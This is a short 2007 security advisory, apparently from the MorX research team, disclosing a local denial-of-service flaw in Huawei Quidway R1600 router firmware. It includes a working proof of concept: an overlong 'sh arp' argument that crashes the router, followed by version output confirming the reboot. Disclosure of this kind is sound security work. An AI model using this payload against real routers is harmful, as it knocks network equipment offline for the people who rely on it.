The Quidway Router local DOS

["handrix cobra" <handrix () gmail com>]

Quidway Router Local DOS attack
By: Handrix <handrix_at_morx_org>
18 January 2007
MorX security research team
www.morx.org


Description:
The Quidway Router's firmware is vulnerable to a local denial of service
attack, there are a request to turn off the engine.
Simple poc realeased by :

Router>sh arp
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAA.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

After the Router crash, wait a while and type  "sh version" to verify this
bug:

Router>sh ver
VRP (tm) software, Version 1.43 2500E-003
Copyright (c) 1997-2002 HUAWEI TECH CO., LTD.
Compiled 20:53:47, Nov  7 2002 ,
Quidway R1600 uptime is 0 days 0 hours 1 minutes 3 seconds.

Quidway R1600 with 1 68360 Processor
16   Mbytes    DRAM
4608 Kbytes    Flash Memory
hardware version is 1.0


Vendor: Huawei
Vulnerable version:
Quidway R1600 (Versatile Routing Platform, version 1.43 2500E-003)
Maybe others.

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